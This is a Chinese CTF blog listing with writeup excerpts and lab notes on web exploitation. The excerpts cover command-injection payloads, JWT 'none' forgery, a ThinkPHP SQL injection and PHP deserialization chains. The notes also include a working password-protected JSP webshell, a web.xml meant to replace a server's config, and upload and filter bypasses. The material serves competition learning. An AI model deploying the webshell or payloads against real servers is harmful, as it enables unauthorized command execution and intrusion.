24-25上半学年第一次线上赛 | Writeup

Misc上课讲过就不写了= =好忙最近,如果有不会的再来群上问吧 触手可得 先看代码,首页只有这些,访问一下flag.php会发现没有内容,所以只能想办法利用下面的代码去拿到flag 很明显这里只要满足$key等于后面一大串就能拿到flag了,所以payload就是 你说上面那个什么md5是干嘛用的?你都知道这样问了,那当然是没用啦^ ^ 时间管理大师 如果你是24届竞赛组成员,可以先看个代码分析的大概逻辑,不一定需要全看懂。 先看入口 这里的spl_autoload_register搜了一下其实就是注册路由,访问什么就进到什么目录下 下面的route其实就是定义访问根路径时使用的路由,这里直接定位到controllers/TimeController.php里看一下逻辑 传入进来的format被赋值给$format,并被丢到TimeModel里处理了一下,这里跟进一下TimeModel类。 可以看到$format被直接与date '+和' 2&1拼接,其中2>&1的意思是将标准错误重定向到标准输出中,意思就是会把这一串指令前的指令执行错误的结果也一并显示回来。然后在刚刚的Timecontroller.php里可以看到后面它被直接丢到exec里作为系统指令执行并接收结果,最后返回输出给我们。所以我们可以通过对$format做手脚从而达到命令执行的效果 这里我们假设传入进来的内容是 ';ls||,则整句代码会变成这样 date '+';ls|| 2>&1 这样执行起来的结果我们可以在自己的linux里尝试一下 会发现执行成功。但一开始我想到用 ';ls;这样的方式没有执行成功,提示权限不足,原因是因为闭合后2>&1在等待你的输入但没有得到,所以会提示权限不足。 还有另一种解法的payload是 ';ls|cat ',这样闭合后的结果如下 date '+';ls|cat '' 2>&1 原理就是将ls的输出用cat显示回来给我们,所以就能达到执行的效果 没有人比我更懂JWT 附件只有一个python文件,先看逻辑 使用flask框架,定义了secret_key,但是是随机值,应该没法爆破 并且只有下面两个路由 先来看一下/login 接收两个变量,username和password,其中username被丢到jwt里进行加密,使用HS256算法。最后将加密完的jwt返回给我们。其中包含了一个比较关键的信息,也就是role后跟着的内容,也就是role的值,我们先记住。 /flag路由里首先会接收请求这个路由的用户所携带的jwt,然后对其进行解码后检验role的值是否是admin,是的话返回flag,不是就告诉我们只有admin才能访问 如果只按照代码的登录逻辑,没有找到可以将role值改成admin的地方。所以我们就要手动改,先随便登录一个账号获取到jwt。因为password后面都没用到所以就不用传。这里注意要把content-type改成json,因为data = request.json 接着丢到jwt.io里,改成admin,然后复制被赋值完的jwt 接着我们回到刚刚的代码,注意到一个地方 这里的options被设置成了不需要验证签名和exp的值,也就是说我们可以将加密算法修改成None,这样就能达到修改了role值还能通过解码的目的。原理如下(原文点击这里查看) 这里我们需要借助一款工具,jwt_tool。下载后,可以在使用文档中查看如何使用None攻击 照着格式填进去就可以生成修改后的jwt了 这里我们选择哪一个都可以。最后我们再根据代码构造一个Authorization就可以啦。不过要注意,根据代码,需要先写上你的用户名,再用一个空格加上jwt。这里我的用户名是1,所以结果就如下

December 5, 2024 · 1 min · Red

[CTF复现]2023 强网杯 thinkshop[ping]

分析完这题,时隔一年又让我想起这句话…… thinkshop 拿到手是一个.tar文件,而且用的是amd64打包的,m1折腾了好久也没搞好debug = = debug只能本地起一个服务 构建好容器后直接把html下的附件拉下来后先访问。可以发现是个thinkphp 5.0.23搭建的商店(版本号随便打个404就能发现) 进去后什么都没有,所以分析一下入口代码。发现首页html在html/application/index/view/index/index.html 在controller目录下又找到Index.php 这里的assign是在html中注册一个变量的意思。这样就能在html里用类似下面这样的方法调用php里的变量。这种方法就是php模板 一样在view目录下,发现admin里有一个login.html,所以应该是有登陆入口。看一下路径 现在的访问路径是http://127.0.0.1:36000/public/index.php/index/index/index,所以猜测是http://127.0.0.1:36000/public/index.php/index/admin/login.html。成功访问 根据代码分析可以发现,post数据交给了一个叫do_login的地方,搜索一下 跟进找到Admin.php里 想办法看能不能登陆。这里主要是要看$adminData是怎么处理的。可以看到查找了admin表,并用cache函数尝试通过缓存获取。这里因为我们有容器,所以进到容器里看一下admin表 查一下这个被md5的密码可以得到123456。但此时如果直接拿admin和123456去登陆会发现提示错误,主要问题就在于后面这个很容易被忽略的find函数 可以看到,这个find函数直接拿post进来的用户名去find,这里可以搜一thinkphp里的下find方法 可以发现,当find里是个字符串时,会将其当作主键进行查询。一般就是第一个字段,也就是id字段,而admin显然是在username字段,因此没法查到,所以才会登陆失败。所以这里要用username=1&password=123456进行登陆 登陆进来后发现有几个操作,先进入修改看看 商品信息应该是markdown格式,可以看一下代码 在goods_edit.html里发现index/admin/do_edit 根据刚刚的经验,跟进到do_edit函数 可以发现所有修改的数据都会被这个函数处理。我们先回到html看一下。发现这个地方有一个反序化的点,在进入这个页面时会显示数据库里存放的markdown内容,就是这样调出来的 或者在首页的商品详情页面也能看到类似的反序列化调用点 搜一下可以发现thinkphp5.0.24存在反序化漏洞,5.0.23可用(点这里查看,更详细分析可以看这里) 所以接下来就是想办法修改数据库的内容从而利用这个反序列化点。 不过先不着急,返回去先看一下首页还没有看的添加功能。这里我们直接看Admin.php里的操作函数就行 先来看看do_add 首先$data可控,因为反序列化的点只对$goods[‘data’]进行,所以我们只看’data’键的操作。 在第131行可以看到直接对’data’键的值进行了序列化,我们如果在这里传入payload后存入数据库是被事先序列化一遍的,并且如果我在post时试图插入一个新的键值对,他也不会写入到goods里。显然这里不可控。 回到刚刚的edit里,发现所有post进来的东西都会被丢到saveGoods函数,跟进 可以发现这里一样是对’data’键进行事先序列化,但是到目前为止整个过程还并没有对变量$data(需要注意是变量$data而不是键’data’)的其他键值进行处理,也就是说如果我在这里插入一个键值对,是可以正常传进save函数的。我们继续跟进save 一样,整个$data进入到updatedata函数,跟进 发现直接把传进来的所有$data变量里的键都存到数据库里,并且不存在过滤,所以这里我们直接构造payload如下,尝试修改数据库 data` = 111 where id = 1# 丢到cyberchef里编码一下就开打。 但是发现直接说商品更新失败了,而且sql数据库里也没有变化 说明写入失败了。看了一下网上几篇wp说是rtrim会把空格干掉 但查询后发现rtrim函数的作用是去除末尾的空格,即便指定了第二个参数也是末尾。而且根据updatedata函数的逻辑,这里的rtrim主要目的是为了删掉sql语句中最后一个多出来的逗号,这样才能写入数据库 ...

November 19, 2024 · 3 min · Red

2024 强网杯 password game | Writeup

proxy那题是队友写的我就不记录了,不知道他后面会不会更新:https://blog.hayneschen.top/ 主要想记录password game这题 不听php课的每个人都会受到应有的惩罚 前面的游戏过程很简单,直接从拿到源码开始看 function filter($password){ $filter_arr = array("admin","2024qwb"); $filter = '/'.implode("|",$filter_arr).'/i'; return preg_replace($filter,"nonono",$password); } class guest{ public $username; public $value; public function __tostring(){ if($this->username=="guest"){ $value(); } return $this->username; } public function __call($key,$value){ if($this->username==md5($GLOBALS["flag"])){ echo $GLOBALS["flag"]; } } } class root{ public $username; public $value; public function __get($key){ if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){ $this->value = $GLOBALS["flag"]; echo md5("hello:".$this->value); } } } class user{ public $username; public $password; public function __invoke(){ $this->username=md5($GLOBALS["flag"]); return $this->password->guess(); } public function __destruct(){ if(strpos($this->username, "admin") == 0 ){ echo "hello".$this->username; } } } $user=unserialize(filter($_POST['password'])); if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){ echo "hello!"; } 比赛的时候乍一看感觉挺懵的,和传统的反序化掉用都不太一样,这里先不管反序化时的filter,先来看一下类 ...

November 5, 2024 · 1 min · Red

[靶场笔记]第二十二章

web.xml相关知识 直接来看看下面这个示例 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <welcome-file-list> <welcome-file>index.html</welcome-file> </welcome-file-list> <!-- 配置默认servlet来处理静态资源 --> <servlet-mapping> <servlet-name>default</servlet-name> <url-pattern>/</url-pattern> </servlet-mapping> <servlet> <servlet-name>jsp</servlet-name> <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> </servlet> <!-- JSP Servlet 映射 --> <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.jsp</url-pattern> <url-pattern>*.jspx</url-pattern> <url-pattern>*.xml</url-pattern> </servlet-mapping> </web-app> 第一个<servlet-mapping>里用来处理静态资源,指定根路径是/,没什么好说的。 <servlet>用来定义一个名叫jsp的类似变量一样的东西,然后处理请求的方式交由org.apache.jasper.servlet.JspServlet判断 第二个中,当访问例如诸如.jsp等在<url-pattern>定义的文件路径后,将会交由上述<servlet>中对应的“变量名”(这里就是jsp)进行处理,也就是交由org.apache.jasper.servlet.JspServlet判断 这段web.xml可以被拿来直接使用,如果有路径穿越或文件上传的漏洞可以被用来替换到服务本身的WEB-INF/web.xml,搭配下面的jsp小马即可上线 jsp小马 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami information_schema.tables绕过 可以用sys.schema_table_statistics_with_buffer来替换,效果是一样的 另外提一嘴题外话,如果发现or或者and等测试句没反应,有可能是服务故意为之,此时就要考虑是不是有关键字或者空格之类的被ban掉了,空格可以用%09等代替 throw new异常抛出绕过(GC绕过) 如果碰到下面这种情况 class FileHandler { ... ... public function __destruct() { if (file_exists($this->fileName) &&!empty($this->fileHandle)) { fclose($this->fileHandle); echo "File closed: {$this->fileName}\n"; } } } ... ... if(isset($_GET['exp'])) { if(preg_match('/<\?php/i',$_GET['exp'])){ exit; } $exp = unserialize($_GET['exp']); throw new Exception("Test!"); } 如果你想利用这里的destruct作为触发点,会因为有一个throw new而无法触发(异常肯定优先于php执行完整个反序化过程)。因此可以参考使用GC回收机制进行绕过,进而强行在throw new之前触发destruct。 ...

November 1, 2024 · 1 min · Red

[靶场笔记]第二十一章

HTTP请求走私 在下面代码中 if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local': return jsonify({ 'message': f'{app.config["FLAG"]}' }), 200 当X-Forwarded-Host属性的值为dev.apacheblaze.local时即可获得flag XFH属性的作用就是查看用户在向反向代理服务器请求时Host携带的域名 但直接修改后并没有效果,如果此时web服务器又恰好是apache,就可以考虑用CVE 2023 25690,详细用法可以参考这里 PHP session临时文件 当php生成session的同时,会在/tmp目录下生成一个带sessionID(也就是cookie里的PHPSESSION)的临时文件。如果此时有文件包含,就可以利用这点进行getshell 例如,获得到的sessionID是114514,那么临时文件路径就是/tmp/sess_114514 字符限制 写题的时候碰到了个6字符限制,也解锁了一种很新奇的rce手法,下面就记录一下这种6字符绕过的手段 >ls #写入一个名为ls的文件 * /*>1 #第一个星号的含义是特定路径下的文件。也就是说如果特定路径下只有上一行写入的那个文件,那么就能把文件名当成命令执行 要注意这里的“特定路径”。因为如果是放index.php的路径就会失败,必须是一个专门写文件的路径。 另外,不止6字符可以绕过,5字符4字符也都能绕:https://blog.csdn.net/q20010619/article/details/109206728 JWT中的RS256碰撞 打网鼎杯碰到的一个神奇的方法,可以用两个不同的jwt_token通过工具rsa_sign2n获得RSA公钥,然后再通过RsactfTools破解出私钥(好像是利用了某个CVE吧….赛后wp出来前还被队友吐槽怎么可能用公钥生成私钥XD 操作案例可以看这篇wp 后缀绕过 如果代码中的后缀检测和文件上传方式是类似下面这样 $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false ) { return false; } ... ... $target_file=$name move_uploaded_file($file['tmp_name'], $target_file) 就可以通过shell.php/.这样的方式绕过。这是因为在pathinfo中会将这句payload解析成空后缀,从而不会而在move_uploaded_file则会自动将/后的.去掉,从而保存shell.php文件 Smarty模板注入 各种注入方法这里讲解得更丰富一点:https://xz.aliyun.com/t/11108?time__1311=Cq0x2DgD0Q3xlEzIx7KaPiqiKPAIjQDkeveD 我主要记录一些有关smarty模板的小知识 在上面博客里讲到用下面这种方法进行命令执行 如果直接放在一个需要渲染的html里,这里的eval其实是可以省略的。具体可以看下面smarty文档的解释 这里的eval其实和string是差不多意思,只是string会创建一个临时文件再执行这个文件后返回结果(不知道这里会不会有关于string的安全问题,毕竟会写文件),而eval则是直接执行data里给的东西 也就是说当注入环境如下时,你的payload就必须要加上个eval来指明你输入的东西是要马上执行而不需要创建一个文件。 但如果是分开的,比如下面这样 controllers/FileController.php.php ...

October 31, 2024 · 1 min · Red